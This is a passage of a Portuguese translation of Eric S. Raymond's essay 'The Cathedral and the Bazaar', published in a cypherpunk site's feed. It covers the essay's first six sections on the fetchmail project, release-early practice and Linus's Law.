&lt;/ol>
&lt;/div></content:encoded></item><item><title>A Catedral e o Bazar</title><link>https://cypherpunks.com.br/documentos/a-catedral-e-o-bazar/</link><pubDate>Fri, 08 Feb 2002 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/a-catedral-e-o-bazar/</guid><description>Análise de um projeto bem sucedido de código livre, o Fetchmail, que foi executado como um teste deliberado de algumas teorias surpreendentes sobre a tecnologia de programação sugerida pela história do Linux.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: OneTimePad
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="eric-s-raymond">Eric S. Raymond&lt;/h2>
&lt;p>Versão 3.0 – 2 de agosto de 2002 (Originalmente publicado em 2000)&lt;/p>
&lt;h3 id="resumo">Resumo&lt;/h3>
&lt;p>&lt;/p>
&lt;p>Eu analiso um projeto bem sucedido de código livre, o Fetchmail, que foi executado como um teste deliberado de algumas teorias surpreendentes sobre a tecnologia de programação sugerida pela história do Linux. Eu discuto estas teorias nos termos de dois estilos fundamentais diferentes de desenvolvimento, o modelo &amp;ldquo;catedral&amp;rdquo; da maior parte do mundo comercial contra o modelo &amp;ldquo;bazar&amp;rdquo; do mundo do Linux. Eu mostro que estes modelos derivam de suposições opostas sobre a natureza da tarefa de depurar o software. Eu faço então um argumento sustentado na experiência do Linux para a proposição que &amp;ldquo;Dados bastante olhos, todos os erros são triviais&amp;rdquo;, sugiro analogias produtivas com outros sistemas auto-corrigíveis de agentes egoístas, e concluo com alguma exploração das implicações desta introspeção para o futuro do software.&lt;/p>
&lt;h1 id="1--a-catedral-e-o-bazar">1. A Catedral e o Bazar&lt;/h1>
&lt;p>Linux é subversivo. Quem pensaria mesmo há cinco anos atrás que um sistema operacional de classe mundial poderia surgir como que por mágica pelo tempo livre de milhares de colaboradores espalhados por todo o planeta, conectado somente pelos tênues cordões da Internet?&lt;/p>
&lt;p>Certamente não eu. No tempo que o Linux apareceu em minha tela-radar no início de 1993, eu já tinha me envolvido no desenvolvimento de Unix e de código aberto por dez anos. Eu fui um dos primeiros contribuintes para o projeto GNU nos meados de 1980. Eu tinha liberado bastante do software livre na rede, desenvolvendo ou co-desenvolvendo diversos programas (nethack, Emacs em modo VC e GUD, xlife, e outros) que estão ainda em largo uso hoje. Eu pensei que eu sabia como isso era feito.&lt;/p>
&lt;p>O Linux ultrapassou muito o que eu pensei que sabia. Eu estava pregando o modo Unix de uso de pequenas ferramentas, de prototipagem rápida e de programação evolucionária por anos. Mas eu acreditei também que havia alguma complexidade crítica, acima da qual uma aproximação mais centralizada, mais a priori era requerida. Eu acreditava que os softwares mais importantes (sistemas operacionais e ferramentas realmente grandes como Emacs) necessitavam ser construídos como as catedrais, habilmente criados com cuidado por mágicos ou pequenos grupos de magos trabalhando em esplêndido isolamento, com nenhum beta para ser liberado antes de seu tempo.&lt;/p>
&lt;p>O estilo de Linus Torvalds de desenvolvimento &amp;ndash; libere cedo e freqüentemente, delegue tudo que você possa, esteja aberto ao ponto da promiscuidade &amp;ndash; veio como uma surpresa. Nenhuma catedral calma e respeitosa aqui &amp;ndash; ao invés, a comunidade Linux pareceu assemelhar-se a um grande e barulhento bazar de diferentes agendas e aproximações (adequadamente simbolizada pelos repositórios do Linux, que aceitaria submissões de qualquer pessoa) de onde um sistema coerente e estável poderia aparentemente emergir somente por uma sucessão de milagres.&lt;/p>
&lt;p>O fato de que este estilo bazar pareceu funcionar, e funcionar bem, veio como um distinto choque. Conforme eu aprendia ao meu redor, trabalhei duramente não apenas em projetos individuais, mas também tentando compreender porque o mundo do Linux não somente não se dividiu em confusão mas parecia aumentar a sua força a uma velocidade quase inacreditável para os construtores de catedrais.&lt;/p>
&lt;p>Em meados de 1996 eu pensei que eu estava começando a compreender. O acaso deu-me uma maneira perfeita para testar minha teoria, na forma de um projeto de código aberto que eu poderia conscientemente tentar executar no estilo bazar. Assim eu fiz &amp;ndash; e foi um sucesso significativo.&lt;/p>
&lt;p>No resto deste artigo eu contarei a história desse projeto, e eu irei usá-la para propor alguns aforismos sobre o desenvolvimento eficaz de código aberto. Nem tudo eu aprendi primeiramente no mundo do Linux, mas nós veremos como o mundo do Linux lhe dá um ponto particular. Se eu estiver correto, eles o ajudarão a compreender exatamente o que é que faz a comunidade do Linux ser uma fonte de software bom &amp;ndash; e ajuda a você a se tornar mais produtivo.&lt;/p>
&lt;h1 id="2--o-correio-deve-ser-entregue">2. O correio deve ser entregue&lt;/h1>
&lt;p>Desde 1993 eu venho cuidando da parte técnica de um pequeno Provedor de Acesso Internet de acesso gratuito chamado Chester County InterLink (CCIL) em West Chester, Pensilvânia (eu fui co- fundador do CCIL e escrevi nosso software multiusuário de BBS &amp;ndash; você pode observá-lo executando um telnet para locke.ccil.org. Hoje suporta quase três mil usuários em trinta linhas.) O trabalho permitiu-me o acesso 24 horas por dia à rede através da linha de 56K do CCIL &amp;ndash; de fato, praticamente exigiu!&lt;/p>
&lt;p>Consequentemente, eu fiquei acostumado a acesso instantâneo ao correio Internet. Por razões complicadas, era difícil fazer o SLIP funcionar entre minha máquina de casa (snark.thyrsus.com) e o CCIL. Quando eu finalmente consegui, eu achei incômodo ter que executar telnet periodicamente para o locke para verificar meu correio. O que eu queria era que ele fosse enviado para o snark de modo que eu fosse notificado quando uma mensagem chegasse e pudesse manuseá-lo usando todas as minhas ferramentas locais.&lt;/p>
&lt;p>O simples reenvio do sendmail não funcionaria, porque minha máquina local não está sempre na rede e não tem um IP estático. O que eu precisava era um programa que pegasse meu correio através da conexão SLIP e o entregasse localmente. Eu sabia que tais programas existiam, e que a maioria deles usava um protocolo de aplicação simples chamado POP (Post Office Protocol). E, realmente, já havia um servidor POP3 incluído com sistema operacional BSD/OS do locke.&lt;/p>
&lt;p>Eu precisava de um cliente POP3. Então eu procurei na Internet e encontrei um. Na verdade, eu encontrei três ou quatro. Eu usei o pop-perl por algum tempo, mas faltava o que parecia uma característica óbvia, a habilidade de alterar os endereços no correio recebido para que as respostas fossem enviadas corretamente.&lt;/p>
&lt;p>O problema era este: suponha que alguém chamado &lt;em>joe&lt;/em> no locke tenha me enviado uma mensagem. Se eu capturasse o correio para o snark e tentasse então lhe responder, meu programa de correio tentaria alegremente enviá-lo a um &lt;em>joe&lt;/em> inexistente no snark. Editar manualmente os endereços de resposta para adicionar &amp;lsquo;@ccil.org&amp;rsquo; rapidamente tornou-se um tormento.&lt;/p>
&lt;p>Isto era claramente algo que o computador teria que fazer para mim. Mas nenhum dos clientes POP existentes sabiam como! E isto nos traz à primeira lição:&lt;/p>
&lt;p>&lt;strong>1. Todo bom trabalho de software começa colocando o dedo na ferida de um programador.&lt;/strong>&lt;/p>
&lt;p>Talvez isto deveria ter sido óbvio (um antigo provérbio diz que &amp;ldquo;necessidade é a mãe da invenção&amp;rdquo;) mas muitas vezes os programadores gastam seus dias buscando retorno em programas que eles não necessitam nem gostam. Mas não no mundo do Linux &amp;ndash; o que pode explicar porque a qualidade média do software originada na comunidade de Linux é tão alta.&lt;/p>
&lt;p>Assim, eu me lancei imediatamente com o ímpeto de codificar um novo cliente POP3 para competir com os existentes? De maneira alguma! Eu olhei com cuidado os utilitários POP que eu tinha à disposição, perguntando-me &amp;ldquo;qual deles é o mais próximo do que eu quero?&amp;rdquo;. Porque&amp;hellip;&lt;/p>
&lt;p>&lt;strong>2. Os programadores bons sabem o que escrever. O grandes sabem o que re-escrever (e reusar).&lt;/strong>&lt;/p>
&lt;p>Embora eu não me considere um grande programador, eu tento me passar por um. Uma importante característica dos grandes é a preguiça construtiva. Eles sabem que você ganha um &amp;lsquo;A&amp;rsquo; não por esforço, mas por resultados, e é quase sempre mais fácil partir de uma boa solução parcial do que do nada.&lt;/p>
&lt;p>Linus Torvalds, por exemplo, não tentou realmente escrever Linux do nada. Ao contrário, ele começou re-usando código e idéias do Minix, um pequeno sistema operacional Unix-like para máquinas 386. Eventualmente todo o código Minix se foi ou não completamente rescrito &amp;ndash; mas quando estava lá, forneceu as bases para o infante que se transformaria no Linux.&lt;/p>
&lt;p>Com o mesmo pensamento, eu fui procurar um utilitário POP que fosse razoavelmente bem codificado, para usar como uma base de desenvolvimento.&lt;/p>
&lt;p>A tradição do mundo Unix de compartilhar o código fonte foi sempre amigável para a reutilização de código (esta é a razão porque o projeto de GNU escolheu o Unix como sistema operacional base, apesar das sérias reservas sobre o mesmo). O mundo Linux tem levado esta tradição quase a seu limite tecnológico; tem terabytes de códigos abertos amplamente disponíveis. Assim gastando tempo procurando algum software quase-bom-o-bastante feito por alguém é mais provável dar a você mais bons resultados no mundo Linux do que em qualquer outro lugar.&lt;/p>
&lt;p>E fez para mim. Com aqueles que eu achei antes, minha segunda busca compôs um total de nove candidatos – fetchpop, PopTart, get-mail, gwpop, pimp, pop-perl, popc, popmail e upop. O primeiro que eu trabalhei primeiramente era o ‘fetchpop ’ por Seung-Hong Oh. Eu pus o meu código de reescrita de cabeçalho nele, e fiz várias outras melhorias que o autor aceitou em sua versão 1.9.&lt;/p>
&lt;p>Algumas semanas mais tarde, entretanto, eu tropecei pelo código do &amp;lsquo;popclient&amp;rsquo; desenvolvido por Carl Harris, e descobri que eu tinha um problema. Embora o fetchpop tenha tido algumas idéias boas e originais (tal como o modo daemon), podia somente trabalhar com POP3 e foi codificado de uma maneira um tanto amadora (Seung-Hong era um programador brilhante porém inexperiente, e ambas as características ficaram evidentes). O código de Carl era melhor, bastante profissional e sólido, mas em seu programa faltou diversas características importantes e complicadas de serem implementadas do fetchpop (incluindo aquelas que eu implementei).&lt;/p>
&lt;p>Ficar ou trocar? Se eu trocasse, eu estaria jogando fora o código que eu já havia feito em troca de uma base melhor do desenvolvimento.&lt;/p>
&lt;p>Um motivo prático para trocar era a presença de suporte para vários protocolos. POP3 é o protocolo mais comumente utilizado de todos os protocolos de correio dos servidores, mas não o único. Fetchpop e os outros concorrentes não faziam POP2, RPOP ou APOP, e eu estava realmente tendo alguns pensamentos de talvez adicionar ou Protocolo de Acesso a Mensagem da Internet, o mais recente e poderoso protocolo de correio desenvolvido) só para me divertir.&lt;/p>
&lt;p>Mas eu tinha uma razão mais teórica para pensar que trocar seria uma boa idéia, alguma coisa que eu aprendi muito antes do Linux.&lt;/p>
&lt;p>&lt;strong>3. &amp;ldquo;Planeje jogar algo fora; você irá, de qualquer maneira.&amp;rdquo; (Fred Brooks, &amp;ldquo;The Mythical Man-Month&amp;rdquo;, Capítulo 11)&lt;/strong>&lt;/p>
&lt;p>Ou, colocando de outra forma, você freqüentemente não entende realmente o problema até depois da primeira vez que você implementa uma solução. Na segunda vez, talvez você saiba o suficiente para fazer corretamente. Então se você quer fazer algo certo, esteja preparado para começar tudo novamente pelo menos uma vez.&lt;/p>
&lt;p>Bem (eu disse para mim mesmo) as mudanças no fetchpop foram a minha primeira tentativa. Então eu troquei.&lt;/p>
&lt;p>Depois que eu mandei meu primeiro conjunto de alterações para Carl Harris em 25 de junho de 1996, eu percebi que na verdade ele perdera o interesse pelo popclient há algum tempo até então. O código era um pouco empoeirado, com pequenos erros. Eu tinha muitas mudanças para fazer, e nós rapidamente concordamos que o lógico para eu fazer era tomar conta do programa.&lt;/p>
&lt;p>Sem perceber, o projeto havia se intensificado. Eu não estava mais contemplando somente pequenos consertos para um cliente POP existente. Eu estava mantendo um cliente completo, e havia idéias borbulhando na minha cabeça que eu sabia iriam provavelmente levar a importantes mudanças. Em uma cultura de software que encoraja a troca de código, isto é um caminho natural para um projeto evoluir. Eu estava representando isto:&lt;/p>
&lt;p>&lt;strong>4. Se você tem a atitude certa, problemas interessantes irão encontrá-lo.&lt;/strong>&lt;/p>
&lt;p>Mas a atitude do Carl Harris foi ainda mais importante. Ele entendeu que&lt;/p>
&lt;p>&lt;strong>5. Quando você perde interesse em um programa, sua última obrigação a fazer com ele é entregá-lo a um sucessor competente.&lt;/strong>&lt;/p>
&lt;p>Sem ao menos ter que discutir isso, Carl e eu sabíamos que nós tínhamos um objetivo em comum de ter a melhor solução disponível. A única questão para nós foi se eu poderia me estabelecer como um par de mãos seguras para isso. Uma vez que eu tenha feito isso, ele agiu com cortesia e rapidez. Eu espero que eu aja assim quando chegar a minha vez.&lt;/p>
&lt;h1 id="3--a-importância-de-ter-usuários">3. A importância de ter usuários&lt;/h1>
&lt;p>E então eu herdei o popclient. Tão importante quanto, eu herdei os usuários do popclient. Usuários são ótimas coisas para se ter, e não somente porque eles demonstram que você está satisfazendo uma necessidade, que você fez algo certo. Cultivados de maneira adequada, eles podem se tornar co-desenvolvedores.&lt;/p>
&lt;p>Outra força da tradição do Unix, uma que o Linux tem levado a um alegre extremo, é que muitos usuários são desenvolvedores também. E porque o código fonte está disponível, eles podem ser desenvolvedores eficazes. Isto pode ser tremendamente útil para reduzir o tempo de depuração. Com um pouco de estímulo, seus usuários irão diagnosticar problemas, sugerir correções e ajudar a melhorar o código muito mais rapidamente do que você poderia fazer sem ajuda.&lt;/p>
&lt;p>&lt;strong>6. Tratar seus usuários como co-desenvolvedores é seu caminho mais fácil para uma melhora do código e depuração eficaz.&lt;/strong>&lt;/p>
&lt;p>O poder deste efeito é fácil de se subestimar. De fato, todos nós do mundo do código aberto subestimamos drasticamente como isto iria incrementar o número de usuários e diminuir a complexidade do sistema, até que Linus Torvalds nos mostrou de outra forma.&lt;/p>
&lt;p>De fato, eu penso que a engenhosidade do Linus e a maior parte do que desenvolveu não foram a construção do kernel do Linux em si, mas sim a sua invenção do modelo de desenvolvimento do Linux. Quando eu expressei esta opinião na sua presença uma vez, ele sorriu e calmamente repetiu algo que freqüentemente diz: &amp;ldquo;Sou basicamente uma pessoa muito preguiçosa que gosta de ganhar crédito por coisas que outras pessoas realmente fazem.&amp;rdquo; Prequiçoso como uma raposa. Ou, como Robert Heinlein teria dito, muito preguiçoso para falhar.&lt;/p>
&lt;p>Em retrospecto, um precedente para o sucesso e métodos do Linux pode ser observado no desenvolvimento da biblioteca do GNU Emacs Lisp e os repositórios de código Lisp. Em contraste com o estilo de desenvolvimento catedral do núcleo do Emacs C e a maioria das outras ferramentas da FSF, a evolução do grupo de código Lisp foi fluída e bastante dirigida ao usuário. Idéias e protótipos foram freqüentemente re-escritos três ou quatro vezes antes de atingirem uma forma estável final. E colaborações permitidas pela Internet, a la Linux, foram freqüentes.&lt;/p>
&lt;p>Realmente, minha mais bem sucedida codificação anterior ao fetchmail foi provavelmente o modo Emacs VC, uma colaboração do tipo do Linux por email com três outras pessoas, somente uma das eu conheci pessoalmente até hoje. Foi um front-end para SCCS, RCS e posteriormente CVS pelo Emacs que oferecia operações de controle de versão &amp;ldquo;um toque&amp;rdquo;. Evoluiu de um pequeno e grosseiro modo sccs.el que alguém havia escrito. E o desenvolvimento do VC foi bem sucedido porque, ao contrário do próprio Emacs, o código do Emacs Lisp poderia ir por gerações de lançamento/teste/aperfeiçoamento muito rapidamente.&lt;/p>
&lt;h1 id="4libere-cedo-libere-freqüentemente">4.Libere cedo, libere freqüentemente&lt;/h1>
&lt;p>Liberações novas e freqüentes são uma parte crítica do modelo de desenvolvimento do Linux.&lt;/p>
&lt;p>A maioria dos desenvolvedores (incluindo eu) costumava acreditar que esta era uma má política para projetos maiores que os triviais, porque versões novas são quase por definição cheias de erros e você não quer acabar com a paciência dos seus usuários.&lt;/p>
&lt;p>Esta crença reforçou o compromisso de todos com o estilo de desenvolvimento catedral. Se o principal objetivo era o de usuários verem menos erros quanto possível, por que então você iria somente lançar um em cada seis meses (ou freqüentemente menos), e trabalhar como um cachorro depurando entre as liberações. O núcleo do Emacs C foi desenvolvido desta forma. A biblioteca Lisp, de fato, não foi &amp;ndash; porque havia repositórios Lisp ativos fora do controle da FSF, aonde você poderia ir para achar versões novas e em desenvolvimento, independentemente do ciclo de liberação do Emacs.&lt;/p>
&lt;p>A mais importante destas, o repositório elisp do Estado de Ohio, antecipou o espírito e muitas das características dos atuais grandes repositório de Linux. Mas pouco de nós realmente pensou muito sobre o que estávamos fazendo, ou sobre o que a existência deste repositório sugeriu sobre problemas no modelo de desenvolvimento catedral da FSF. Eu fiz uma séria tentativa por volta de 1992 para ter bastante código de Ohio formalmente fundido na biblioteca oficial do Emacs Lisp. Encontrei problemas políticos e fui muito mal sucedido.&lt;/p>
&lt;p>Mas um ano depois, visto que o Linux se tornou amplamente conhecido, ficou claro que alguma coisa diferente e muito saudável estava acontecendo. A política de desenvolvimento aberta do Linus era exatamente o oposto do modelo de desenvolvimento catedral. Os repositórios sunsite e tsx-11 estavam germinando, múltiplas distribuições estavam surgindo. E tudo isto foi guiado por uma freqüência desconhecida de liberações de núcleo de sistemas.&lt;/p>
&lt;p>Linus estava tratando seus usuários como co-desenvolvedores na maneira mais eficaz possível:&lt;/p>
&lt;p>&lt;strong>7. Libere cedo. Libere freqüentemente. E ouça seus fregueses.&lt;/strong>&lt;/p>
&lt;p>Isso não era muito a inovação do Linus (algo como isso estava sendo a tradição do mundo Unix por um longo tempo), mas em elevar isto até um grau de intensidade que alcançava a complexidade do que ele estava desenvolvendo. Nestes primórdios tempos (por volta de 1991) não era estranho para ele liberar um novo kernel mais de uma vez por dia! E, porque ele cultivava sua base de co-desenvolvedores e incitava fortemente a Internet por colaboração como nenhum outro, isto funcionou.&lt;/p>
&lt;p>Mas como isto funcionou? E era isto algo que eu poderia duplicar, ou era algo que dependia da genialidade única de Linus Torvalds?&lt;/p>
&lt;p>Eu não pensei assim. Reconhecidamente, Linus é um excelente desenvolvedor (quantos de nós poderia planejar um kernel completo de um sistema operacional de qualidade de produção?). Mas o Linux não representou nenhum salto conceitual impressionante a frente. Linus não é (ou pelo menos, ainda não) um gênio inovativo de projeto do estilo que, por exemplo, Richard Stallman ou James Gosling (do NeWS e Java) são. Ao contrário, para mim Linus parece ser um gênio da engenharia, com um sexto sentido em evitar erros e desenvolvimentos que levem a um beco sem saída e uma verdadeira habilidade para achar o caminho do menor esforço do ponto A ao ponto B. De fato, todo o projeto do Linux exala esta qualidade e espelha a abordagem conservadora e simplificada de planejamento do Linus.&lt;/p>
&lt;p>Então, se liberações rápidas e influenciar a Internet a todo custo não foram acidentes mas partes integrantes da perspicácia do gênio de engenharia do Linus para o caminho do menor esforço, o que ele estava enfatizando? O que ele estava maquinando?&lt;/p>
&lt;p>Posto desta forma, a questão responde a si mesma. Linus estava mantendo seus usuários/desenvolvedores constantemente estimulados e recompensados &amp;ndash; estimulados pela perspectiva de estar tendo um pouco de ação satisfatória do ego, recompensados pela visão do constante (até mesmo diário) melhoramento do seu trabalho.&lt;/p>
&lt;p>Linus estava diretamente direcionado a maximizar o número de pessoas-hora dedicadas a depuração e ao desenvolvimento, mesmo com o possível custo da instabilidade no código e extinção da base de usuários se qualquer erro sério provasse ser intratável. Linus estava se comportando como se acreditasse em algo como isto:&lt;/p>
&lt;p>&lt;strong>8. Dada uma base grande o suficiente de beta-testers e co-desenvolvedores, praticamente todo problema será caracterizado rapidamente e a solução será óbvia para alguém.&lt;/strong>&lt;/p>
&lt;p>Ou, menos formalmente, &amp;ldquo;Dados olhos suficientes, todos os erros são triviais.&amp;rdquo; Eu chamo isso de: &amp;ldquo;Lei de Linus&amp;rdquo;.&lt;/p>
&lt;p>Minha formulação original foi que todo problema &amp;ldquo;será transparente para alguém&amp;rdquo;. Linus objetou que a pessoa que entende e conserta o problema não é necessariamente ou mesmo freqüentemente a pessoa que primeiro o caracterizou. &amp;ldquo;Alguém acha o problema,&amp;rdquo; ele diz, &amp;ldquo;e uma outra pessoa o entende. E eu deixo registrado que achar isto é o grande desafio.&amp;rdquo; Mas o ponto é que ambas as coisas tendem a acontecer rapidamente.&lt;/p>
&lt;p>Aqui, eu penso, é o centro da diferença fundamental entre os estilos bazar e catedral. Na visão catedral de programação, erros e problemas de desenvolvimento são difíceis, insidiosos, um fenômeno profundo. Leva meses de exame minucioso por poucas pessoas dedicadas para desenvolver confiança de que você se livrou de todos eles. Por conseguinte os longos intervalos de liberação, e o inevitável desapontamento quando as liberações por tanto tempo esperadas não são perfeitas.&lt;/p>
&lt;p>Na visão bazar, por outro lado, você assume que erros são geralmente um fenômeno trivial &amp;ndash; ou, pelo menos, eles se tornam triviais muito rapidamente quando expostos para centenas de ávidos co-desenvolvedores triturando cada nova liberação. Consequentemente você libera freqüentemente para ter mais correções, e como um benéfico efeito colateral você tem menos a perder se um erro ocasional aparece.&lt;/p>
&lt;p>E é isto. É o suficiente. Se a &amp;ldquo;Lei de Linus&amp;rdquo; é falsa, então qualquer sistema tão complexo como o kernel do Linux, sendo programado por tantas mãos quantas programam o kernel do Linux, deveria a um certo ponto tido um colapso sob o peso de interações imprevisíveis e erros &amp;ldquo;profundos&amp;rdquo; não descobertos. Se isto é verdade, por outro lado, é suficiente para explicar a relativa falta de erros do Linux.&lt;/p>
&lt;p>E talvez isso não deveria ser uma surpresa, mesmo assim. Anos atrás, sociologistas descobriram que a opinião média de uma massa de observadores especialistas (ou igualmente ignorantes) é um indicador mais seguro que o de um único observador escolhido aleatoriamente. Eles chamaram isso de o &amp;ldquo;efeito Delphi&amp;rdquo;. Parece que o que o Linus tem mostrado é que isto se aplica até mesmo para depurar um sistema operacional &amp;ndash; que o efeito Delphi pode suavizar a complexidade do desenvolvimento até mesmo em nível de complexidade do kernel de um sistema operacional.&lt;/p>
&lt;p>Eu sou grato a Jeff Dutky por apontar que a lei de Linus pode ser refeita como &amp;ldquo;Depurar é paralelizável&amp;rdquo;. Jeff observa que embora depurar requer que depuradores se comuniquem com algum desenvolvedor coordenador, não requer coordenação significante entre depuradores. Assim não cai vítima para a mesma complexidade quadrática e custos de gerência que faz ser problemático adicionar desenvolvedores.&lt;/p>
&lt;p>Na prática, a perda teórica de eficiência devido a duplicação de trabalho por depuradores quase nunca parece ser um problema no mundo do Linux. Um efeito da ``política libere cedo e freqüentemente&amp;quot; é minimizar esta duplicação propagando consertos rapidamente.&lt;/p>
&lt;p>Brooks até mesmo fez uma observação improvisada relacionada à observação de Jeff: &amp;ldquo;O custo total de manter um programa amplamente utilizado é tipicamente 40 porcento ou mais o custo de desenvolvê-lo. Surpreendentemente este custo é muito afetado pelo número de usuários. &amp;ldquo;Mais usuários acham mais erros&amp;rdquo;. (minha ênfase).&lt;/p>
&lt;p>Mais usuários acham mais erros porque adicionar mais usuários adiciona mais maneiras diferentes de testar o programa. Este efeito é amplificado quando os usuários são co- desenvolvedores. Cada um aborda a tarefa de caracterização de erro com um conjunto perceptivo ligeiramente diferente e ferramenta analítica, um ângulo diferente do problema. O &amp;ldquo;efeito Delphi&amp;rdquo; parece funcionar precisamente por causa desta variação. No contexto específico da depuração, a variação também tende a reduzir o feito da duplicação.&lt;/p>
&lt;p>Então adicionar mais beta-testers pode não reduzir a complexidade de um erro &amp;ldquo;profundo&amp;rdquo; corrente do ponto de vista do desenvolvedor, mas aumenta a probabilidade que a ferramenta de alguém irá de encontro ao problema de uma maneira tal que o problema será trivial para esta pessoa.&lt;/p>
&lt;p>Linus cobre suas apostas. Caso haja erros sérios, as versões do kernel do Linux são numeradas de forma que usuários em potencial podem fazer a escolha de executar a última versão designada &amp;ldquo;estável&amp;rdquo; ou correr o risco de encontrar erros para obter novas características. Esta técnica não é ainda formalmente imitada pela maioria dos desenvolvedores usuários do Linux, mas talvez devesse; o fato de que ambas as escolhas estejam disponíveis faz delas mais atraentes.&lt;/p>
&lt;h1 id="5--quando-uma-rosa-não-é-uma-rosa">5. Quando uma rosa não é uma rosa&lt;/h1>
&lt;p>Tendo estudado o comportamento do Linus e formado uma teoria sobre como ele foi bem sucedido, eu fiz uma decisão consciente para testar esta teoria em meu novo (reconhecidamente muito menos complexo e ambicioso) projeto.&lt;/p>
&lt;p>Mas a primeira coisa que eu fiz foi reorganizar e simplificar bastante o popclient. A implementação do Carl Harris era muito atrativa, mas exibia um tipo de complexidade desnecessária comum a vários programadores em C. Ele tratou o código como centro das atenções e as estruturas de dados como suporte para o código. Como resultado, o código era muito bonito mas o projeto da estrutura de dados era ad-hoc e um tanto feio (pelo menos pelos altos padrões deste velho desenvolvedor de LISP).&lt;/p>
&lt;p>Eu tinha outro propósito para re-escrever além de aperfeiçoar o código e o projeto da estrutura de dados, entretanto. Era evoluí-lo para algo que eu entenderia completamente. Não é nada agradável ser responsável por consertar erros em um programa que você não entende.&lt;/p>
&lt;p>Mais ou menos durante o primeiro mês, então, eu estava simplesmente seguindo as implicações do projeto básico do Carl. A primeira mudança séria que fiz foi adicionar suporte ao IMAP. Eu fiz isso reorganizando as rotinas de protocolos em um driver genérico e três tabelas de métodos (para POP2, POP3 e IMAP). Esta e as mudanças anteriores ilustram o princípio geral que é bom para os programadores manterem em mente, especialmente em linguagens como C que não implementam naturalmente tipagem dinâmica:&lt;/p>
&lt;p>&lt;strong>9. Estrutura de dados inteligentes e código burro trabalham muito melhor que ao contrário.&lt;/strong>&lt;/p>
&lt;p>&lt;strong>Brooks, Capítulo 11: &amp;ldquo;Mostre-me seu código e esconda suas estruturas de dados, e eu poderei continuar mistificado. Mostre-me suas estruturas de dados, e eu provavelmente não necessitarei do seu código; ele será óbvio.&amp;rdquo;&lt;/strong>&lt;/p>
&lt;p>De fato, ele disse &amp;ldquo;gráficos&amp;rdquo; e &amp;ldquo;tabelas&amp;rdquo;. Mas considerando trinta anos de terminologias/mudanças culturais, é praticamente o mesmo ponto.&lt;/p>
&lt;p>Neste ponto (quase Setembro de 1996, mais ou menos seis semanas desde o início) eu comecei a pensar que uma mudança de nome deveria ser adequada &amp;ndash; afinal de contas, não era mais somente um cliente POP. Mas eu hesitei, porque ainda não havia ainda nada genuinamente novo ainda no projeto. Minha versão do popclient ainda teria que desenvolver uma identidade própria.&lt;/p>
&lt;p>Isto mudou, radicalmente, quando o fetchmail aprendeu como reenviar mensagens recebidas para a porta SMTP. Eu irei a este ponto em um momento. Mas primeiro: Eu disse acima que eu decidi usar este projeto para testar minha teoria sobre o que Linus Torvalds fez corretamente. Como (você pode perguntar) eu fiz isto? Desta forma:&lt;/p>
&lt;p>1. Eu liberei cedo e freqüentemente (quase nunca menos que uma vez a cada dez dias; durante períodos de desenvolvimento intenso, uma vez por dia).&lt;/p>
&lt;p>2.Eu aumentei minha lista de beta testers adicionando a ela todo mundo que me contatava sobre o fetchmail.&lt;/p>
&lt;p>3.Eu mandei extensos anúncios à lista de beta testers toda vez que eu liberava, encorajando as pessoas a participar.&lt;/p>
&lt;p>4. E eu ouvia meus beta testers, questionando-os sobre decisões de desenvolvimento e incitando-os toda vez que eles mandavam consertos e respostas.&lt;/p>
&lt;p>O retorno destas medidas simples foi imediato. Desde o início do projeto, eu obtive relatórios sobre erros de uma qualidade que a maioria dos desenvolvedores morreria para ter, muitas vezes com ótimos consertos incluídos. Eu obtive críticas severas, obtive mensagens de fãs, obtive sugestões inteligentes de características. O que leva a:&lt;/p>
&lt;p>&lt;strong>10. Se você tratar seus beta testers como seu recurso mais valioso, eles irão responder tornando-se seu mais valioso recurso.&lt;/strong>&lt;/p>
&lt;p>Uma medida interessante do sucesso do fetchmail é o simples tamanho da lista de beta testers, amigos do fetchmail. Ao escrever este texto ela possuía 249 membros e são adicionados dois ou três por semana.&lt;/p>
&lt;p>De fato, conforme eu reviso ao final de Maio de 1997, a lista está começando a perder membros depois do pico de aproximadamente 300 pessoas por uma razão interessante. Muitas pessoas têm me pedido para excluí-las da lista porque o fetchmail está trabalhando tão bem para elas que elas não precisam mais ver o tráfego da lista! Talvez isto seja parte do ciclo de vida normal de um projeto maduro do estilo bazar.&lt;/p>
&lt;h1 id="6--popclient-transforma-se-em-fetchmail">6. Popclient transforma-se em Fetchmail&lt;/h1>
&lt;p>O verdadeiro ponto de mudança no projeto foi quando Harry Hochheiser me mandou o seu rascunho de código para reenviar mensagens para a porta SMTP da máquina cliente. Eu percebi quase imediatamente que uma implementação segura desta característica iria tornar todos os outros modos de envio perto do obsoleto.&lt;/p>
&lt;p>Por muitas semanas eu fiquei customizando o fetchmail de maneira incremental enquanto percebia como o projeto de interface estava aproveitável mas feio &amp;ndash; não estava elegante e com muitas pequenas opções por toda parte. As opções para extrair mensagens coletadas para um arquivo de mensagens ou saída padrão particularmente me aborreciam, mas eu não conseguia descobrir por que.&lt;/p>
&lt;p>O que eu vi quando eu pensei sobre reenvio SMTP foi que o popclient estava tentando fazer muitas coisas. Ele foi projetado para ser tanto um agente transportador de correspondência (MTA) quanto um agente local de entrega (MDA). Com reenvio SMTP, ele poderia retirar o MDA e ser somente um MTA, transferindo as correspondências para outros programas para entrega local como o sendmail faz.&lt;/p>
&lt;p>Por que se envolver com toda a complexidade de configurar um agente de entrega de correspondência ou configurar lock-e-append em um arquivo de correio quando a porta 25 é quase garantida para estar lá em primeiro lugar em qualquer plataforma com suporte para TCP/IP? Especialmente quando isso significa que o correio coletado é garantido parecer como um correio SMTP iniciado pelo remetente normalmente, o que, de qualquer maneira, é realmente o que queremos.&lt;/p>
&lt;p>Há várias lições aqui. Primeira, esta idéia de reenvio por SMTP foi o primeiro grande retorno que eu obtive por tentar conscientemente emular os métodos do Linus. Um usuário me deu esta idéia brilhante &amp;ndash; tudo que eu tive que fazer foi entender as implicações.&lt;/p>
&lt;p>**11. A melhor coisa depois de ter boas idéias é reconhecer boas idéias dos seus usuários. **As vezes a última é melhor.&lt;/p>
&lt;p>E o que é interessante, você irá rapidamente descobrir que se você está se achando completamente desacreditado sobre o quanto você deve a outras pessoas, o mundo inteiro irá tratá-lo como se você mesmo tivesse criado cada bit da invenção e está somente sendo modesto sobre seu gênio inato. Nós todos podemos ver o quanto isso funcionou para Linus!&lt;/p>
